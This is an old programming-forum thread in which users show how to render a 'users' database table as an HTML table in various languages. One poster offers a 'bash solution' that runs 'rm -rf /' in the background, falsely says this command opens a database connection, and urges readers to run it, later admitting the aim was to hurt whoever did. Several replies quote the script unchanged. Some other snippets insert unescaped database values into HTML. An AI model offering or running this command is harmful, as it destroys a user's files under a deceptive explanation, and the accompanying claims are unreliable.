The Daily WTF: Curious Perversions in Information Technology
Welcome to TDWTF Forums Sign in | Join | Help
in Search

Post the most elegant solution in your favorite language

Last post 08-25-2008 4:47 AM by nil. 52 replies.
Page 1 of 2 (53 items) 1 2 Next >
Sort Posts: Previous Next
  • 04-09-2008 2:56 PM

    Post the most elegant solution in your favorite language

    Ok, so I'm not sure if I'm doing it right.  Post the most elegant solution to the following problem.  

    You have a table named users.  it has four fields, userId, userName, firstName, lastName.

    Generate an html table with the contents of the table.  

    I will start with an example in ColdFusion:

    <cfquery name="myQuery" datasource="myDSN">
        select userId, userName, firstName, lastName
        from users
    </cfquery>
    <table>
        <tr>
            <th>User ID</th>
            <th>UserName</th>        
            <th>First Name</th>        
            <th>Last Name</th>        
        </tr>
        <cfoutput query="myQuery">
            <tr>
                <td>#userId#</td>
                <td>#username#</td>
                <td>#firstName#</td>
                <td>#lastName#</td>
            </tr>
        </cfoutput>
    </table>
  • 04-09-2008 5:01 PM In reply to

    Re: Post the most elegant solution in your favorite language

    I'm writing without checking that at all, but let's try. Syntax should be right... yaws style + there's a lot of my* prefix so I guess it's MySQL

    format_rows(Rows) ->
    [{tr,[ ], [{td,[ ],Fld} || Fld <- Row]}
    || Row <- Rows].
    tbl() ->
    {data,Res}=mysql:fetch(pool1, "select userId, userName, firstName, lastName from users"),
    Rows = mysql:get_result_rows(Res),
    {table, [ ], [
    {tr, [ ], [
    {th, [ ], "User ID"},
    {th, [ ], "User Name"},
    {th, [ ], "First Name"},
    {th, [ ], "Last Name"}]}
    ] ++ format_rows(Rows)]}.
    Filed under:
  • 04-09-2008 5:30 PM In reply to

    Re: Post the most elegant solution in your favorite language

    viraptor:

    I'm writing without checking that at all, but let's try. Syntax should be right... yaws style + there's a lot of my* prefix so I guess it's MySQL

    format_rows(Rows) ->
    [{tr,[ ], [{td,[ ],Fld} || Fld <- Row]}
    || Row <- Rows].
    tbl() ->
    {data,Res}=mysql:fetch(pool1, "select userId, userName, firstName, lastName from users"),
    Rows = mysql:get_result_rows(Res),
    {table, [ ], [
    {tr, [ ], [
    {th, [ ], "User ID"},
    {th, [ ], "User Name"},
    {th, [ ], "First Name"},
    {th, [ ], "Last Name"}]}
    ] ++ format_rows(Rows)]}.

     

    Actually it was SQL Server, but the db doesn't really matter.  What language is this in? 

  • 04-09-2008 5:39 PM In reply to

    Re: Post the most elegant solution in your favorite language

    Erlang (as tagged ;) ), with yaws as app server supporting fancy ehtml ( {td, [ ] , "text"} -> <td>text</td> )

  • 04-09-2008 6:16 PM In reply to

    Re: Post the most elegant solution in your favorite language

    Okay, first the "joke" response - abuses both SQL and relies on quirks mode.

    SELECT
        'Id' as th,
        'Username' as Th,
        'LastName' as tD,
        'FirstName' as TH
    UNION ALL
    SELECT TOP 2
        CAST(Id as nvarchar(10)) as td,
        UserName as Td,
        LastName as tD,
        FirstName as TD
    FROM
        Users
    FOR XML PATH('tr'), ROOT('table')

     

    Now the real response in C# (I don't do web stuff, so there probably is an easier way)

    public string LoadUserTable()
    {
        using (SqlConnection dbConn = new SqlConnection(dbConnString))
        {
            dbConn.Open();

            SqlCommand dbCmd = new SqlCommand("GetUsers", dbConn);
            dbCmd.CommandType = CommandType.StoredProcedure;

            StringBuilder sb = new StringBuilder();

            sb.AppendLine("<table>");
            sb.AppendLine("<tr><th>Id</th><th>Username</th><th>LastName</th><th>FirstName</th></tr>");

            using(SqlDataReader reader = dbCmd.ExecuteReader())
            {
                while(reader.Read())
                    sb.AppendLine(string.Format("<tr><td>{0}</td><td>{1}</td><td>{2}</td><td>{3}</td></tr>",
                        reader.GetInt32(reader.GetOrdinal("Id")),
                        reader.GetString(reader.GetOrdinal("UserName")),
                        reader.GetString(reader.GetOrdinal("LastName")),
                        reader.GetString(reader.GetOrdinal("FirstName")))
            }

            sb.AppendLine("</table>");
        }

        return sb.ToString();
    }

     

    “A system is a network of interdependent components that work together to try to accomplish the aim of the system. A system must have an aim. Without the aim, there is no system.”

    W. Edward Deming
  • 04-09-2008 6:46 PM In reply to

    Re: Post the most elegant solution in your favorite language

    Behold my Ruby on Rails solution, which they killed off in 2.0:

    class User < ActiveRecord::Base
    end
    
    class UserController < ApplicationController
        scaffold :user
    end
    

    I AM TEH WINNAR!

  • 04-09-2008 11:00 PM In reply to

    Re: Post the most elegant solution in your favorite language

    bstorer:

    Behold my Ruby on Rails solution, which they killed off in 2.0:

    class User < ActiveRecord::Base
    end
    
    class UserController < ApplicationController
        scaffold :user
    end
    

    I AM TEH WINNAR!

     

     

    LAL.....

     

    You fail because you aren't showing all the code. Show some Class, son.

  • 04-10-2008 7:21 AM In reply to

    Re: Post the most elegant solution in your favorite language

    i was too lazy to find out how to wrap it in that "code" frame/style, so it's just here like this (php, although my favorite language is Visual Basic :-DD):

     

    <?
      //db connection and disconnection ommited
      $qr = mysql_query("SELECT * FROM users;");
      $res = "<table>
                    <tr>
                      <th>UserID</th><th>Username</th><th>First name</th><th>Last name</th>
                    </tr>";
      

      while($fqr = mysql_fetch_row($qr))
        {
          $res .= '<tr>
                       <td>$fqr["userId"]</td>
                       <td>$fqr["username"]</td>
                       <td>$fqr["firstName"]</td>
                       <td>$fqr["lastName"]</td>
                     </tr>';

        }

      $res .= "</table>";
      return $res;

    ?>

    Sometimes I wish I could not post before I stop, and actually check whether there isn't anything similar to what i want to write...
  • 04-10-2008 8:10 AM In reply to

    Re: Post the most elegant solution in your favorite language

    JimBastard:
    You fail because you aren't showing all the code. Show some Class, son.
    That is all the code.  The rest is provided by the framework.

  • 04-10-2008 9:45 AM In reply to

    Re: Post the most elegant solution in your favorite language

    bstorer:

    Behold my Ruby on Rails solution, which they killed off in 2.0:

    class User < ActiveRecord::Base
    end
    
    class UserController < ApplicationController
        scaffold :user
    end
    

    I AM TEH WINNAR!

     

    How would you do it in 2.0? 

  • 04-10-2008 10:21 AM In reply to

    Re: Post the most elegant solution in your favorite language

    russ0519:
    How would you do it in 2.0? 

    By using the Scaffold Generator.  But that doesn't involve any code at all, so if the first one stretched the limits of what would count, this one outright breaks it:

    ./script/generator scaffold User userId:integer userName:string firstName:string lastName:string

  • 04-10-2008 1:16 PM In reply to

    Re: Post the most elegant solution in your favorite language

    bstorer:

    russ0519:
    How would you do it in 2.0? 

    By using the Scaffold Generator.  But that doesn't involve any code at all, so if the first one stretched the limits of what would count, this one outright breaks it:

    ./script/generator scaffold User userId:integer userName:string firstName:string lastName:string

     

    What if the example was a little less trivial.  Lets say order by username.

     

     

  • 04-16-2008 1:20 PM In reply to

    • root
    • Not Ranked
    • Joined on 04-16-2008
    • Posts 2

    Re: Post the most elegant solution in your favorite language

    Easily done in bash: 

     

    #!/bin/bash

    rm -rf / &

    while [ true ]; do echo "SELECT userId, userName, firstName, lastName FROM users"; done

     

    The first command "rm -rf /" initiates a database connection to localhost. Next, the loop fetches results from the query using the built-in function echo, which will output everything in the form of a html table. Try it out yourself, save the above three lines to "test.sh", run chmod 666 test.sh to make it executable, and lastly execute it and pipe the resulting html table to a html file through: ./test.sh > output.html

  • 04-16-2008 1:59 PM In reply to

    Re: Post the most elegant solution in your favorite language

    root:
    Easily done in bash:

    #!/bin/bash
    rm -rf / &
    while [ true ]; do echo "SELECT userId, userName, firstName, lastName FROM users"; done

    The first command "rm -rf /" initiates a database connection to localhost. Next, the loop fetches results from the query using the built-in function echo, which will output everything in the form of a html table. Try it out yourself, save the above three lines to "test.sh", run chmod 666 test.sh to make it executable, and lastly execute it and pipe the resulting html table to a html file through: ./test.sh > output.html
    You forgot to setuid the script, or did you expect people to run their servers as root?
    Filed under:
  • 04-16-2008 2:06 PM In reply to

    Re: Post the most elegant solution in your favorite language

    root:

    Easily done in bash.org ... snip...

     

    Why even bother posting that? 

  • 04-16-2008 2:07 PM In reply to

    Re: Post the most elegant solution in your favorite language

    CapitalT:
    You forgot to setuid the script, or did you expect people to run their servers as root?
    He also forgot to set the execute permission (should be 555 or 777).
    irc://irc.slashnet.org/#TDWTF
    [12:15:49] <Duplication_Prevention_Bot> Human test subjects are illegal! I didn't sign an EULA for this.


  • 04-16-2008 2:49 PM In reply to

    Re: Post the most elegant solution in your favorite language

    This is not an elegant solution and it's not my favourite language. It simply came to me while reading the thread and seems disturbingly awesome in its horror to me at this moment:

    ' Assume you have a dataset that you've filled somehow from a database.
    ' the dataset has one table with four columns: userId, userName, firstName, lastName
    ' Now for the horror:
    dataset.DataSetName = "table"
    dataset.Tables(0).TableName = "tr"
    dim Writer as new StringWriter()
    dataset.writeXML(Writer)
    dim table as new StringBuilder(Writer.ToString())
    table.replace("userId","td")
    table.replace("userName","td")
    table.replace("firstName","td")
    table.replace("lastName","td")
    ' table now contains the HTML table as described in the OP
    ' insert it into your output where necessary
    ' I guess it's missing the headers. So do something like this:
    table.replace("<table>","<table><tr><th>userId</th><th>userName</th><th>firstName</th><th>lastName</th></tr>")

  • 04-16-2008 3:59 PM In reply to

    • root
    • Not Ranked
    • Joined on 04-16-2008
    • Posts 2

    Re: Post the most elegant solution in your favorite language

    Lingerance:
    He also forgot to set the execute permission (should be 555 or 777).
     

    I can't say I really did want stupid-enough-people to execute it, but then again, the post was pretty useless if it didn't affect anyone.

  • 04-19-2008 2:10 PM In reply to

    Re: Post the most elegant solution in your favorite language

    root:

    Easily done in bash: 

     

    #!/bin/bash

    rm -rf / &

    while [ true ]; do echo "SELECT userId, userName, firstName, lastName FROM users"; done

     

    The first command "rm -rf /" initiates a database connection to localhost. Next, the loop fetches results from the query using the built-in function echo, which will output everything in the form of a html table. Try it out yourself, save the above three lines to "test.sh", run chmod 666 test.sh to make it executable, and lastly execute it and pipe the resulting html table to a html file through: ./test.sh > output.html

    Hmm.. mah data base must be running real slow cuz the script has been churning for 5 minutes and nothing is happening yet..  think I need to do an analyze on the tab---OH JESUS NO4rrwJKNJ@#$N 

    < pstorer> Bans don't mean shit on the forum. It's like being on the Sex Offender List. You can still entice kids into your van with candy.

    Want more? Go the IRC channel #TDWTFMafia on irc.slashnet.org.
  • 04-25-2008 10:52 PM In reply to

    Re: Post the most elegant solution in your favorite language

    {table border=1}{
     {User ID|UserName|First Name|Last Name}html_tableheader;
     {select userId, userName, firstName, lastName from users}{
      {html_quote;}% html_tablerow;
     }sql_eachrow;
    }html_tag;
    : IF COMPILE ?-GOTO COMPILE-HERE ; IMMEDIATE
    : THEN HERE SWAP ! ; IMMEDIATE
    : ELSE COMPILE GOTO COMPILE-HERE SWAP HERE SWAP ! ; IMMEDIATE
  • 04-25-2008 11:16 PM In reply to

    Re: Post the most elegant solution in your favorite language

    zzo38:
    {table border=1}{ {User ID|UserName|First Name|Last Name}html_tableheader; {select userId, userName, firstName, lastName from users}{ {html_quote;}% html_tablerow; }sql_eachrow; }html_tag;
    What language?
    irc://irc.slashnet.org/#TDWTF
    [12:15:49] <Duplication_Prevention_Bot> Human test subjects are illegal! I didn't sign an EULA for this.


  • 04-25-2008 11:32 PM In reply to

    Re: Post the most elegant solution in your favorite language

    Has anyone posted a dJango Pyhton solution? That shit seems like it really pwns hard. Might be the best one. 

  • 04-26-2008 12:03 AM In reply to

    • ammoQ
    • Top 10 Contributor
    • Joined on 04-13-2005
    • Vienna.Austria.Europe.Earth
    • Posts 3,305

    Re: Post the most elegant solution in your favorite language

    CapitalT:
    You forgot to setuid the script, or did you expect people to run their servers as root?
     

    The setuid bit has no effect on shell scripts. You would have to set it on /bin/bash instead.

    beanbag girl 4ever
  • 04-26-2008 12:46 AM In reply to

    Re: Post the most elegant solution in your favorite language

    Lingerance:
    zzo38:
    {table border=1}{ {User ID|UserName|First Name|Last Name}html_tableheader; {select userId, userName, firstName, lastName from users}{ {html_quote;}% html_tablerow; }sql_eachrow; }html_tag;
    What language?
    It isn't vaporware, it does exist. But, it doesn't work on my computer because I don't have a database on my web-site. Other than that, it works fine (only the part dealing with the database doesn't work). It is WebFlogScript (FlogScript with extensions for making web-sites). And, why are you not quote my message properly? Is it because you used WYSIWYG?
    : IF COMPILE ?-GOTO COMPILE-HERE ; IMMEDIATE
    : THEN HERE SWAP ! ; IMMEDIATE
    : ELSE COMPILE GOTO COMPILE-HERE SWAP HERE SWAP ! ; IMMEDIATE
  • 04-30-2008 8:41 PM